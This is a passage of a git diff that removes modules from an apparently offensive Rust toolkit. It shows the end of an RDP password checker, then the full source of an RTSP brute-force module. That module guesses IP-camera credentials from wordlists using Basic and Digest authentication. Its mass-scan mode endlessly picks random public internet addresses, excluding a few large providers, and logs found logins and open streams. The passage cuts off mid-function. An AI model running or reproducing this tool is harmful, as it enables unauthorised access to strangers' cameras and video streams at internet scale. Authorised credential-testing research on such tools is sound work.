.arg("xfreerdp") - .output() - .await - .map(|output| output.status.success()) - .unwrap_or(false); - - let rdesktop_available = Command::new("which") - .arg("rdesktop") - .output() - .await - .map(|output| output.status.success()) - .unwrap_or(false); - - if !xfreerdp_available && !rdesktop_available { - return Err(anyhow!("{}", RdpError::ToolNotFound)); - } - - // Prefer xfreerdp over rdesktop - if xfreerdp_available { - try_rdp_login_xfreerdp(addr, user, pass, timeout_duration, security_level).await - } else { - try_rdp_login_rdesktop(addr, user, pass, timeout_duration, security_level).await - } -} - -async fn try_rdp_login_xfreerdp(addr: &str, user: &str, pass: &str, timeout_duration: Duration, security_level: RdpSecurityLevel) -> Result { - let sanitized_addr = sanitize_rdp_argument(addr); - let sanitized_user = sanitize_rdp_argument(user); - let sanitized_pass = sanitize_rdp_argument(pass); - - let mut child = match Command::new("xfreerdp") - .arg(format!("/v:{}", sanitized_addr)) - .arg(format!("/u:{}", sanitized_user)) - .arg(format!("/p:{}", sanitized_pass)) - .arg("/cert:ignore") - .arg(format!("/timeout:{}", timeout_duration.as_secs() * 1000)) - .arg("+auth-only") - .arg("/log-level:OFF") - .arg(security_level.as_xfreerdp_arg()) - .stdout(std::process::Stdio::null()) - .stderr(std::process::Stdio::null()) - .spawn() - { - Ok(child) => child, - Err(e) => { - // Classify spawn errors - could be ConnectionFailed, NetworkError, or ProtocolError - // This ensures all error types can be constructed from spawn failures - let error_type = classify_rdp_error(None, &e.to_string()); - // Explicitly match all variants to ensure they're all constructed - let error_msg = match error_type { - RdpError::ConnectionFailed => format!("{}: {}", RdpError::ConnectionFailed, e), - RdpError::NetworkError => format!("{}: {}", RdpError::NetworkError, e), - RdpError::ProtocolError => format!("{}: {}", RdpError::ProtocolError, e), - RdpError::Timeout => format!("{}: {}", RdpError::Timeout, e), - RdpError::AuthenticationFailed => format!("{}: {}", RdpError::AuthenticationFailed, e), - RdpError::CertificateError => format!("{}: {}", RdpError::CertificateError, e), - RdpError::ToolNotFound => format!("{}: {}", RdpError::ToolNotFound, e), - RdpError::Unknown => format!("{}: {}", RdpError::Unknown, e), - }; - return Err(anyhow!("{}", error_msg)); - } - }; - - match timeout(timeout_duration, child.wait()).await { - Ok(Ok(status)) => { - match status.code() { - Some(0) => Ok(true), // Success - Some(code) => { - // Classify error based on exit code - let error_type = classify_rdp_error(Some(code), ""); - // Ensure all error types can be constructed and handled - match error_type { - RdpError::AuthenticationFailed => Ok(false), - RdpError::ConnectionFailed => Ok(false), - RdpError::CertificateError => Ok(false), - RdpError::Timeout => Ok(false), - RdpError::NetworkError => Ok(false), - RdpError::ProtocolError => Ok(false), - RdpError::ToolNotFound => Ok(false), - RdpError::Unknown => Ok(false), - } - } - None => { - // Process terminated by signal - classify for completeness - // This ensures Unknown error type is constructed - let error_type = classify_rdp_error(None, "Process terminated"); - match error_type { - RdpError::Timeout | RdpError::ConnectionFailed | RdpError::NetworkError | RdpError::Unknown => Ok(false), - _ => Ok(false), // All other types also return false - } - } - } - } - Ok(Err(e)) => { - let _ = child.kill().await; - tokio::time::sleep(Duration::from_millis(50)).await; - let error_type = classify_rdp_error(None, &e.to_string()); - // Explicitly match all variants to ensure they're all constructed - let error_msg = match error_type { - RdpError::ConnectionFailed => format!("{}: {}", RdpError::ConnectionFailed, e), - RdpError::NetworkError => format!("{}: {}", RdpError::NetworkError, e), - RdpError::ProtocolError => format!("{}: {}", RdpError::ProtocolError, e), - RdpError::Timeout => format!("{}: {}", RdpError::Timeout, e), - RdpError::AuthenticationFailed => format!("{}: {}", RdpError::AuthenticationFailed, e), - RdpError::CertificateError => format!("{}: {}", RdpError::CertificateError, e), - RdpError::ToolNotFound => format!("{}: {}", RdpError::ToolNotFound, e), - RdpError::Unknown => format!("{}: {}", RdpError::Unknown, e), - }; - Err(anyhow!("{}", error_msg)) - } - Err(_) => { - // Timeout occurred - ensure Timeout error type is constructed - let _ = child.kill().await; - tokio::time::sleep(Duration::from_millis(200)).await; - let error_type = classify_rdp_error(Some(131), "Connection timeout"); - // Ensure Timeout variant is constructed - match error_type { - RdpError::Timeout => Ok(false), - _ => Ok(false), // Should not happen, but handle all cases - } - } - } -} - -async fn try_rdp_login_rdesktop(addr: &str, user: &str, pass: &str, timeout_duration: Duration, security_level: RdpSecurityLevel) -> Result { - let mut cmd = Command::new("rdesktop"); - cmd.arg("-u").arg(user) - .arg("-p").arg(pass) - .arg("-n").arg("auth-only") - .arg(addr) - .stdout(std::process::Stdio::null()) - .stderr(std::process::Stdio::null()); - - if let Some(sec_arg) = security_level.as_rdesktop_arg() { - cmd.arg(sec_arg); - } - - let mut child = match cmd.spawn() { - Ok(child) => child, - Err(e) => { - // Classify spawn errors - ensures all error types can be constructed - let error_type = classify_rdp_error(None, &e.to_string()); - // Explicitly match all variants to ensure they're all constructed - let error_msg = match error_type { - RdpError::ConnectionFailed => format!("{}: {}", RdpError::ConnectionFailed, e), - RdpError::NetworkError => format!("{}: {}", RdpError::NetworkError, e), - RdpError::ProtocolError => format!("{}: {}", RdpError::ProtocolError, e), - RdpError::Timeout => format!("{}: {}", RdpError::Timeout, e), - RdpError::AuthenticationFailed => format!("{}: {}", RdpError::AuthenticationFailed, e), - RdpError::CertificateError => format!("{}: {}", RdpError::CertificateError, e), - RdpError::ToolNotFound => format!("{}: {}", RdpError::ToolNotFound, e), - RdpError::Unknown => format!("{}: {}", RdpError::Unknown, e), - }; - return Err(anyhow!("{}", error_msg)); - } - }; - - match timeout(timeout_duration, child.wait()).await { - Ok(Ok(status)) => { - match status.code() { - Some(0) => Ok(true), // Success - Some(code) => { - // Classify error based on exit code - let error_type = classify_rdp_error(Some(code), ""); - // Ensure all error types can be constructed and handled - match error_type { - RdpError::AuthenticationFailed => Ok(false), - RdpError::ConnectionFailed => Ok(false), - RdpError::CertificateError => Ok(false), - RdpError::Timeout => Ok(false), - RdpError::NetworkError => Ok(false), - RdpError::ProtocolError => Ok(false), - RdpError::ToolNotFound => Ok(false), - RdpError::Unknown => Ok(false), - } - } - None => { - // Process terminated by signal - classify for completeness - // This ensures Unknown error type is constructed - let error_type = classify_rdp_error(None, "Process terminated"); - match error_type { - RdpError::Timeout | RdpError::ConnectionFailed | RdpError::NetworkError | RdpError::Unknown => Ok(false), - _ => Ok(false), // All other types also return false - } - } - } - } - Ok(Err(e)) => { - let _ = child.kill().await; - tokio::time::sleep(Duration::from_millis(50)).await; - let error_type = classify_rdp_error(None, &e.to_string()); - // Explicitly match all variants to ensure they're all constructed - let error_msg = match error_type { - RdpError::ConnectionFailed => format!("{}: {}", RdpError::ConnectionFailed, e), - RdpError::NetworkError => format!("{}: {}", RdpError::NetworkError, e), - RdpError::ProtocolError => format!("{}: {}", RdpError::ProtocolError, e), - RdpError::Timeout => format!("{}: {}", RdpError::Timeout, e), - RdpError::AuthenticationFailed => format!("{}: {}", RdpError::AuthenticationFailed, e), - RdpError::CertificateError => format!("{}: {}", RdpError::CertificateError, e), - RdpError::ToolNotFound => format!("{}: {}", RdpError::ToolNotFound, e), - RdpError::Unknown => format!("{}: {}", RdpError::Unknown, e), - }; - Err(anyhow!("{}", error_msg)) - } - Err(_) => { - // Timeout occurred - ensure Timeout error type is constructed - let _ = child.kill().await; - tokio::time::sleep(Duration::from_millis(200)).await; - let error_type = classify_rdp_error(Some(131), "Connection timeout"); - // Ensure Timeout variant is constructed - match error_type { - RdpError::Timeout => Ok(false), - _ => Ok(false), // Should not happen, but handle all cases - } - } - } -} - - - - - - - - - -fn sanitize_rdp_argument(input: &str) -> String { - input.chars() - .map(|c| match c { - // Handle whitespace characters first (before control character range) - '\n' | '\r' | '\t' => ' ', - // Dangerous shell metacharacters - '|' | '&' | ';' | '(' | ')' | '<' | '>' | '`' | '$' | '!' | '\\' => '?', - // Quotes that could break argument parsing - '"' | '\'' => '?', - // Control characters (excluding \n, \r, \t which are handled above) - // \x00-\x08, \x0b-\x0c, \x0e-\x1f, \x7f - '\x00'..='\x08' | '\x0b'..='\x0c' | '\x0e'..='\x1f' | '\x7f' => '?', - // Extended ASCII control characters - '\u{0080}'..='\u{009f}' => '?', - // Safe characters - c => c, - }) - .collect() -} - -fn should_use_streaming>(path: P) -> Result { - let metadata = std::fs::metadata(path.as_ref()) - .map_err(|e| anyhow!("Failed to get file metadata: {}", e))?; - Ok(metadata.len() > MAX_MEMORY_LOAD_SIZE) -} - -fn format_file_size(size: u64) -> String { - const UNITS: &[&str] = &["B", "KB", "MB", "GB"]; - let mut size = size as f64; - let mut unit_index = 0; - - while size >= 1024.0 && unit_index < UNITS.len() - 1 { - size /= 1024.0; - unit_index += 1; - } - - format!("{:.1} {}", size, UNITS[unit_index]) -} - -fn format_socket_address(ip: &str, port: u16) -> String { - let trimmed_ip = ip.trim_matches(|c| c == '[' || c == ']'); - if trimmed_ip.contains(':') && !trimmed_ip.contains("]:") { - format!("[{}]:{}", trimmed_ip, port) - } else { - format!("{}:{}", trimmed_ip, port) - } -} \ No newline at end of file diff --git a/src/modules/creds/generic/rtsp_bruteforce.rs b/src/modules/creds/generic/rtsp_bruteforce.rs deleted file mode 100644 index 369cae4..0000000 --- a/src/modules/creds/generic/rtsp_bruteforce.rs +++ /dev/null @@ -1,783 +0,0 @@ -use anyhow::{anyhow, Result, Context}; -use base64::engine::general_purpose::STANDARD as Base64; -use base64::Engine as _; -use colored::*; -use futures::stream::{FuturesUnordered, StreamExt}; -use std::{ - fs::File, - io::{Write, BufRead, BufReader}, - net::{IpAddr, Ipv4Addr, SocketAddr}, - sync::Arc, - sync::atomic::{AtomicBool, AtomicUsize, Ordering}, - time::Duration, - collections::HashSet, -}; -use tokio::{ - io::{AsyncReadExt, AsyncWriteExt}, - net::TcpStream, - sync::{Mutex, Semaphore}, - time::{sleep, timeout}, - fs::OpenOptions, -}; -use rand::Rng; - -use crate::utils::{ - prompt_yes_no, prompt_existing_file, prompt_default, prompt_int_range, prompt_port, - load_lines, get_filename_in_current_dir, normalize_target, -}; -use crate::modules::creds::utils::BruteforceStats; - -const PROGRESS_INTERVAL_SECS: u64 = 5; -const MASS_SCAN_CONNECT_TIMEOUT_MS: u64 = 3000; -const STATE_FILE: &str = "rtsp_mass_state.log"; - -// Hardcoded exclusions (Private + Cloudflare + Google + Link Local etc) -const EXCLUDED_RANGES: &[&str] = &[ - "10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", // Private - "224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8", // Multicast/Reserved - "100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32", // Carrier/LinkLocal/Broadcast - // Cloudflare - "103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13", - "104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18", - "162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20", - "190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17", - "1.1.1.1/32", "1.0.0.1/32", - // Google - "8.8.8.8/32", "8.8.4.4/32" -]; - -#[derive(Debug, Clone, PartialEq)] -enum AuthMethod { - None, - Basic, - Digest { realm: String, nonce: String }, - Unknown, -} - -fn display_banner() { - println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan()); - println!("{}", "║ RTSP Brute Force Module ║".cyan()); - println!("{}", "║ IP Camera and Streaming Server Credential Testing ║".cyan()); - println!("{}", "║ Supports Basic & Digest Auth, Mass Scanning ║".cyan()); - println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan()); - println!(); -} - -/// Main entry point for the RTSP brute force module. -pub async fn run(target: &str) -> Result<()> { - display_banner(); - - // Check for Mass Scan Mode conditions - let is_mass_scan = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0" || target.contains('/') || std::path::Path::new(target).is_file(); - - println!("{}", format!("[*] Target: {}", target).cyan()); - if is_mass_scan { - println!("{}", "[*] Mode: Mass Scan".yellow()); - return run_mass_scan(target).await; - } - - run_single_target(target).await -} - -async fn run_single_target(target: &str) -> Result<()> { - let port: u16 = prompt_port("RTSP Port", 554)?; - - let usernames_file = prompt_existing_file("Username wordlist")?; - let passwords_file = prompt_existing_file("Password wordlist")?; - - let concurrency = prompt_int_range("Max concurrent tasks", 10, 1, 10000)? as usize; - - let stop_on_success = prompt_yes_no("Stop on first success?", true)?; - let _save_results = prompt_yes_no("Save results to file?", true)?; - let save_path = if _save_results { - Some(prompt_default("Output file", "rtsp_results.txt")?) - } else { - None - }; - let verbose = prompt_yes_no("Verbose mode?", false)?; - let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?; - - // Extract RTSP path if present (e.g., rtsp://host:port/path -> path) - let implicit_path = extract_rtsp_path(target); - - // Normalize target and add port if needed - let target_normalized = if target.starts_with("rtsp://") { - target.strip_prefix("rtsp://") - .expect("Target starts with rtsp://") - .split('/') - .next() - .unwrap_or(target) - } else { - target.split('/').next().unwrap_or(target) - }; - - let normalized = normalize_target(target_normalized)?; - let addr = if normalized.contains(':') { - normalized - } else { - format!("{}:{}", normalized, port) - }; - let found = Arc::new(Mutex::new(Vec::new())); - let stop = Arc::new(AtomicBool::new(false)); - let stats = Arc::new(BruteforceStats::new()); - let semaphore = Arc::new(Semaphore::new(concurrency)); - - println!("\n[*] Starting brute-force on {}", addr); - - let resolved_addrs = match resolve_targets(&addr, port).await { - Ok(addrs) => Arc::new(addrs), - Err(e) => { - eprintln!("[!] Failed to resolve '{}': {}", addr, e); - return Err(e); - } - }; - - let users = load_lines(&usernames_file)?; - if users.is_empty() { - println!("[!] Username wordlist is empty. Exiting."); - return Ok(()); - } - - let pass_lines = load_lines(&passwords_file)?; - if pass_lines.is_empty() { - println!("[!] Password wordlist is empty. Exiting."); - return Ok(()); - } - - let brute_force_paths = prompt_yes_no("Brute force possible RTSP paths (e.g. /stream /live)?", false)?; - let mut paths = if brute_force_paths { - let paths_file = prompt_existing_file("Path to RTSP paths file")?; - load_lines(&paths_file)? - } else { - vec!["".to_string()] - }; - if paths.is_empty() { - println!("[!] RTSP paths list is empty. Falling back to default root path."); - paths.push(String::new()); - } - if let Some(p) = implicit_path { - if !paths.iter().any(|existing| existing == &p) { - paths.insert(0, p); - } - } - println!(); - - println!("[*] Probing authentication method on default path...", ); - let initial_path = paths.first().cloned().unwrap_or_default(); - let probe_result = probe_auth_method(resolved_addrs.as_slice(), &addr, &initial_path).await; - - let default_auth_method = match probe_result { - Ok(AuthMethod::None) => { - println!("{}", "[+] Target allows Unauthenticated Access!".green().bold()); - // If user wants to stop on success, we are done? - // We should record this. - found.lock().await.push((addr.clone(), "".to_string(), "".to_string(), initial_path.clone())); - if stop_on_success { - println!("[+] Stopping due to unauthenticated access."); - return Ok(()); - } - AuthMethod::None - }, - Ok(AuthMethod::Basic) => { - println!("{} Detected Auth: Basic", "[*]".blue()); - AuthMethod::Basic - }, - Ok(AuthMethod::Digest { realm, nonce }) => { - println!("{} Detected Auth: Digest (Realm: {})", "[*]".blue(), realm); - AuthMethod::Digest { realm, nonce } - }, - Ok(AuthMethod::Unknown) => { - println!("{} Unknown auth or connection error. Will default to Basic or probing.", "[!]".yellow()); - AuthMethod::Unknown - }, - Err(e) => { - println!("{} Probe failed: {}. Will continue knowing nothing.", "[!]".red(), e); - AuthMethod::Unknown - } - }; - - - // Start progress reporter - let stats_clone = stats.clone(); - let stop_clone = stop.clone(); - tokio::spawn(async move { - loop { - if stop_clone.load(Ordering::Relaxed) { - break; - } - stats_clone.print_progress(); - sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await; - } - }); - - let mut tasks = FuturesUnordered::new(); - let mut idx = 0usize; - - for pass in pass_lines { - if stop_on_success && stop.load(Ordering::Relaxed) { break; } - - let userlist: Vec = if combo_mode { - users.clone() - } else { - vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()] - }; - - for user in userlist { - if stop_on_success && stop.load(Ordering::Relaxed) { break; } - for path in &paths { - if stop_on_success && stop.load(Ordering::Relaxed) { break; } - - let addr_clone = addr.clone(); - let user_clone = user.clone(); - let pass_clone = pass.clone(); - let path_clone = path.clone(); - let found_clone = Arc::clone(&found); - let stop_clone = Arc::clone(&stop); - let stats_clone = Arc::clone(&stats); - let semaphore_clone = Arc::clone(&semaphore); - let addrs_clone = Arc::clone(&resolved_addrs); - let stop_flag = stop_on_success; - let verbose_flag = verbose; - // If we know detected method, use it as a hint. - let cached_method = default_auth_method.clone(); - - tasks.push(tokio::spawn(async move { - if stop_flag && stop_clone.load(Ordering::Relaxed) { return; } - let _permit = match semaphore_clone.acquire().await { - Ok(p) => p, - Err(_) => return, - }; - if stop_flag && stop_clone.load(Ordering::Relaxed) { return; } - - match try_rtsp_login_smart( - addrs_clone.as_slice(), - &addr_clone, - &user_clone, - &pass_clone, - &path_clone, - &cached_method, - ).await { - Ok(true) => { - let path_str = if path_clone.is_empty() { "/" } else { &path_clone }; - println!("\r{}", format!("[+] {} -> {}:{} [path={}]", addr_clone, user_clone, pass_clone, path_str).green().bold()); - found_clone.lock().await.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone(), path_str.to_string())); - stats_clone.record_success(); - if stop_flag { - stop_clone.store(true, Ordering::Relaxed); - } - } - Ok(false) => { - stats_clone.record_failure(); - if verbose_flag { - println!("\r{}", format!("[-] {} -> {}:{} [path={}]", addr_clone, user_clone, pass_clone, path_clone).dimmed()); - } - } - Err(e) => { - stats_clone.record_error(e.to_string()).await; - if verbose_flag { - println!("\r{}", format!("[!] {} -> error: {}", addr_clone, e).red()); - } - } - } - })); - } - } - idx += 1; - } - - while let Some(res) = tasks.next().await { - if let Err(e) = res { - stats.record_error(format!("Task panic: {}", e)).await; - } - } - - // Stop progress reporter - stop.store(true, Ordering::Relaxed); - - // Print final statistics - stats.print_final().await; - - let creds = found.lock().await; - if creds.is_empty() { - println!("{}", "[-] No credentials found.".yellow()); - } else { - println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold()); - - if let Some(path) = save_path { - let filename = get_filename_in_current_dir(&path); - if let Ok(mut file) = File::create(&filename) { - for (host, user, pass, path) in creds.iter() { - let _ = writeln!(file, "{} -> {}:{} [path={}]", host, user, pass, path); - } - println!("[+] Results saved to '{}'", filename.display()); - } - } - } - - Ok(()) -} - -/// Run mass scan logic -async fn run_mass_scan(target: &str) -> Result<()> { - // Prep wordlists - println!("{}", "[*] Preparing Mass Scan configuration...".blue()); - - let port: u16 = prompt_port("RTSP Port", 554)?; - - let usernames_file = prompt_existing_file("Username wordlist")?; - let passwords_file = prompt_existing_file("Password wordlist")?; - let paths_file = prompt_existing_file("RTSP paths file (empty for none/root)")?; - - let users = load_lines(&usernames_file)?; - let pass_lines = load_lines(&passwords_file)?; - let mut paths = load_lines(&paths_file)?; - if paths.is_empty() { - paths.push("".to_string()); - } - - if users.is_empty() || pass_lines.is_empty() { - return Err(anyhow!("Wordlists cannot be empty")); - } - - let concurrency = prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000)? as usize; - let verbose = prompt_yes_no("Verbose mode?", false)?; - - let output_file = prompt_default("Output result file", "rtsp_mass_results.txt")?; - - // Parse exclusions - let mut exclusion_subnets = Vec::new(); - for cidr in EXCLUDED_RANGES { - if let Ok(net) = cidr.parse::() { - exclusion_subnets.push(net); - } - } - let exclusions = Arc::new(exclusion_subnets); - - // Shared State - let semaphore = Arc::new(Semaphore::new(concurrency)); - let stats_checked = Arc::new(AtomicUsize::new(0)); - let stats_found = Arc::new(AtomicUsize::new(0)); - - let creds_pkg = Arc::new((users, pass_lines, paths)); - - // Stats Reporter - let s_checked = stats_checked.clone(); - let s_found = stats_found.clone(); - tokio::spawn(async move { - loop { - tokio::time::sleep(Duration::from_secs(5)).await; - println!( - "[*] Status: {} IPs scanned, {} RTSP streams found", - s_checked.load(Ordering::Relaxed), - s_found.load(Ordering::Relaxed).to_string().green().bold() - ); - } - }); - - let run_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0"; - - let mut checked_ips = HashSet::new(); - if run_random { - if std::path::Path::new(STATE_FILE).exists() { - println!("{} Loading state file...", "[*]".blue()); - if let Ok(file) = File::open(STATE_FILE) { - let reader = BufReader::new(file); - for line in reader.lines() { - if let Ok(l) = line { - if let Some(ip) = l.strip_prefix("checked: ") { - checked_ips.insert(ip.trim().to_string()); - } - } - } - } - println!("{} Loaded {} checked IPs.", "[+]".green(), checked_ips.len()); - } - } - - let checked_set = Arc::new(Mutex::new(checked_ips)); - - if run_random { - OpenOptions::new().create(true).append(true).open(STATE_FILE).await?; - - println!("{}", "[*] Starting Random Internet Scan...".green()); - loop { - let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?; - let exc = exclusions.clone(); - let cp = creds_pkg.clone(); - let sc = stats_checked.clone(); - let sf = stats_found.clone(); - let of = output_file.clone(); - let c_set = checked_set.clone(); - - tokio::spawn(async move { - let ip = generate_random_public_ip(&exc); - - let ip_s = ip.to_string(); - let is_checked = { - let set = c_set.lock().await; - set.contains(&ip_s) - }; - - if !is_checked { - { - let mut set = c_set.lock().await; - set.insert(ip_s.clone()); - } - mark_ip_checked_file(&ip_s).await; - mass_scan_host(ip, port, cp, sf, of, verbose).await; - } - - sc.fetch_add(1, Ordering::Relaxed); - drop(permit); - }); - } - } else { - let targets: Vec = if std::path::Path::new(target).is_file() { - let content = tokio::fs::read_to_string(target).await.unwrap_or_default(); - content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect() - } else if target.contains('/') { - if let Ok(net) = target.parse::() { - net.iter().map(|ip| ip.to_string()).collect() - } else { - vec![target.to_string()] - } - } else { - vec![target.to_string()] - }; - - println!("{}", format!("[*] Loaded {} targets.", targets.len()).blue()); - - for ip_str in targets { - let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?; - let cp = creds_pkg.clone(); - let sc = stats_checked.clone(); - let sf = stats_found.clone(); - let of = output_file.clone(); - - let ip_addr = match ip_str.parse::() { - Ok(ip) => Some(ip), - Err(_) => { - match tokio::net::lookup_host(format!("{}:{}", ip_str, port)).await { - Ok(mut iter) => iter.next().map(|s| s.ip()), - Err(_) => None - } - } - }; - - tokio::spawn(async move { - if let Some(ip) = ip_addr { - mass_scan_host(ip, port, cp, sf, of, verbose).await; - } - sc.fetch_add(1, Ordering::Relaxed); - drop(permit); - }); - } - - for _ in 0..concurrency { - let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?; - } - } - - Ok(()) -} - -async fn mass_scan_host( - ip: IpAddr, - port: u16, - creds: Arc<(Vec, Vec, Vec)>, - stats_found: Arc, - output_file: String, - verbose: bool -) { - let sa = SocketAddr::new(ip, port); - - // 1. Connection Check (Fast Fail) - if timeout(Duration::from_millis(MASS_SCAN_CONNECT_TIMEOUT_MS), TcpStream::connect(&sa)).await.is_err() { - return; - } - - // Probe once to determine method - let (users, passes, paths) = &*creds; - - // We try to probe the preferred path (usually first one or root) - let probe_path = paths.first().cloned().unwrap_or_default(); - let addrs = [sa]; - - // For mass scan, we might fail probe due to timeout, just return then. - // If Unauth, we log and return success immediately! - let auth_method = match probe_auth_method(&addrs, &sa.to_string(), &probe_path).await { - Ok(AuthMethod::None) => { - // Found open! - let result_str = format!("{} -> : [path={}]", sa, probe_path); - println!("\r{}", format!("[+] FOUND: {}", result_str).green().bold()); - if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(&output_file).await { - let _ = file.write_all(format!("{}\n", result_str).as_bytes()).await; - } - stats_found.fetch_add(1, Ordering::Relaxed); - return; - }, - Ok(m) => m, - Err(_) => return, // Failed to probe, host likely gone - }; - - for path in paths { - for user in users { - for pass in passes { - let res = try_rtsp_login_smart( - &addrs, - &sa.to_string(), - user, - pass, - path, - &auth_method - ).await; - - match res { - Ok(true) => { - let result_str = format!("{} -> {}:{} [path={}]", sa, user, pass, path); - println!("\r{}", format!("[+] FOUND: {}", result_str).green().bold()); - if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(&output_file).await { - let _ = file.write_all(format!("{}\n", result_str).as_bytes()).await; - } - stats_found.fetch_add(1, Ordering::Relaxed); - return; - } - Ok(false) => {} - Err(e) => { - let err_str = e.to_string().to_lowercase(); - if err_str.contains("refused") || err_str.contains("timeout") || err_str.contains("reset") { - return; - } - if verbose { - println!("\r{}", format!("[!] {} -> error: {}", sa, e).red()); - } - } - } - } - } - } -} - - -fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr { - let mut rng = rand::rng(); - loop { - let octets: [u8; 4] = rng.random(); - let ip = Ipv4Addr::from(octets); - let ip_addr = IpAddr::V4(ip); - - let mut excluded = false; - for net in exclusions { - if net.contains(ip_addr) { - excluded = true; - break; - } - } - - if !excluded { - return ip_addr; - } - } -} - -async fn mark_ip_checked_file(ip: &str) { - let data = format!("checked: {}\n", ip); - if let Ok(mut file) = OpenOptions::new() - .create(true) - .append(true) - .open(STATE_FILE) - .await - { - let _ = file.write_all(data.as_bytes()).await; - } -} - -/// Resolve a host:port for single target mode -async fn resolve_targets(addr: &str, default_port: u16) -> Result> { - if let Ok(sa) = addr.parse::() { - return Ok(vec![sa]); - } - let (host, port) = if let Some((h, p)) = addr.rsplit_once(':') { - (h.to_string(), p.parse().unwrap_or(default_port)) - } else { - (addr.to_string(), default_port) - }; - let host_clean = host.trim_matches(|c| c == '[' || c == ']').to_string(); - let host_port = if host_clean.contains(':') { - format!("[{}]:{}", host_clean, port) - } else { - format!("{}:{}", host_clean, port) - }; - let addrs = tokio::net::lookup_host(host_port.clone()) - .await - .map_err(|e| anyhow!("DNS lookup '{}': {}", host_port, e))? - .collect::>(); - - if addrs.is_empty() { - Err(anyhow!("No addresses found for '{}'", host_port)) - } else { - Ok(addrs) - } -} - -// ------ RTSP Logic ------ - -async fn connect_to_any(addrs: &[SocketAddr]) -> Result<(TcpStream, SocketAddr)> { - let mut last_err = None; - for sa in addrs { - // Connect timeout - match timeout(Duration::from_millis(MASS_SCAN_CONNECT_TIMEOUT_MS), TcpStream::connect(*sa)).await { - Ok(Ok(s)) => return Ok((s, *sa)), - Ok(Err(e)) => { last_err = Some(e); continue; } - Err(_) => { last_err = Some(std::io::Error::new(std::io::ErrorKind::TimedOut, "Connect timeout")); continue; } - } - } - Err(last_err.map(|e| e.into()).unwrap_or_else(|| anyhow!("All connection attempts failed"))) -} - -async fn send_request(stream: &mut TcpStream, request: &str) -> Result { - stream.write_all(request.as_bytes()).await?; - let mut buffer = [0u8; 2048]; - // Read timeout - let n = match timeout(Duration::from_millis(MASS_SCAN_CONNECT_TIMEOUT_MS), stream.read(&mut buffer)).await { - Ok(Ok(n)) => n, - Ok(Err(e)) => return Err(e.into()), - Err(_) => return Err(anyhow!("Read timeout")), - }; - if n == 0 { - return Err(anyhow!("Connection closed by server")); - } - Ok(String::from_utf8_lossy(&buffer[..n]).to_string()) -} - -/// Probes the server to determine supported auth method -async fn probe_auth_method(addrs: &[SocketAddr], _addr_display: &str, path: &str) -> Result { - let (mut stream, sa) = connect_to_any(addrs).await?; - - let path_str = if path.is_empty() { "/" } else { path }; - let method = "DESCRIBE"; - - // Send unauthenticated request - let request = format!( - "{method} rtsp://{host}:{port}/{path} RTSP/1.0\r\nCSeq: 1\r\n\r\n", - method = method, - host = sa.ip(), - port = sa.port(), - path = path_str.trim_start_matches('/') - ); - - let response = send_request(&mut stream, &request).await?; - - if response.contains("200 OK") { - return Ok(AuthMethod::None); - } - - if response.contains("401 Unauthorized") { - if response.contains("Digest") { - // Parse Realm and Nonce - // WWW-Authenticate: Digest realm="HipcamRealServer", nonce="3b27a446bfa49b0c48c3edb631e09054" - let realm = extract_header_value(&response, "realm=\"", "\""); - let nonce = extract_header_value(&response, "nonce=\"", "\""); - - if let (Some(r), Some(n)) = (realm, nonce) { - return Ok(AuthMethod::Digest { realm: r, nonce: n }); - } - } else if response.contains("Basic") { - return Ok(AuthMethod::Basic); - } - } - - Ok(AuthMethod::Unknown) -} - -fn extract_header_value(response: &str, start_marker: &str, end_marker: &str) -> Option { - if let Some(start) = response.find(start_marker) { - let remainder = &response[start + start_marker.len()..]; - if let Some(end) = remainder.find(end_marker) { - return Some(remainder[..end].to_string()); - } - } - None -} - -async fn try_rtsp_login_smart( - addrs: &[SocketAddr], - addr_display: &str, - user: &str, - pass: &str, - path: &str, - auth_method: &AuthMethod, -) -> Result { - - let method_to_use = if let AuthMethod::Unknown = auth_method { - probe_auth_method(addrs, addr_display, path).await.unwrap_or(AuthMethod::Basic) - } else { - auth_method.clone() - }; - - let (mut stream, sa) = connect_to_any(addrs).await?; - - let rtsp_verb = "DESCRIBE"; - let path_str = if path.is_empty() { "/" } else { path }; - let path_clean = path_str.trim_start_matches('/'); - - let uri = format!("rtsp://{}:{}/{}", sa.ip(), sa.port(), path_clean); - - let auth_header = match method_to_use { - AuthMethod::None => return Ok(true), - AuthMethod::Basic => { - let credentials = Base64.encode(format!("{}:{}", user, pass)); - format!("Authorization: Basic {}", credentials) - }, - AuthMethod::Digest { ref realm, ref nonce } => { - let ha1 = format!("{:x}", md5::compute(format!("{}:{}:{}", user, realm, pass))); - let ha2 = format!("{:x}", md5::compute(format!("{}:{}", rtsp_verb, uri))); - let response = format!("{:x}", md5::compute(format!("{}:{}:{}", ha1, nonce, ha2))); - - format!( - "Authorization: Digest username=\"{}\", realm=\"{}\", nonce=\"{}\", uri=\"{}\", response=\"{}\"", - user, realm, nonce, uri, response - ) - }, - AuthMethod::Unknown => return Ok(false), - }; - - let request = format!( - "{method} {uri} RTSP/1.0\r\nCSeq: 2\r\n{auth}\r\n\r\n", - method = rtsp_verb, - uri = uri, - auth = auth_header - ); - - let response = send_request(&mut stream, 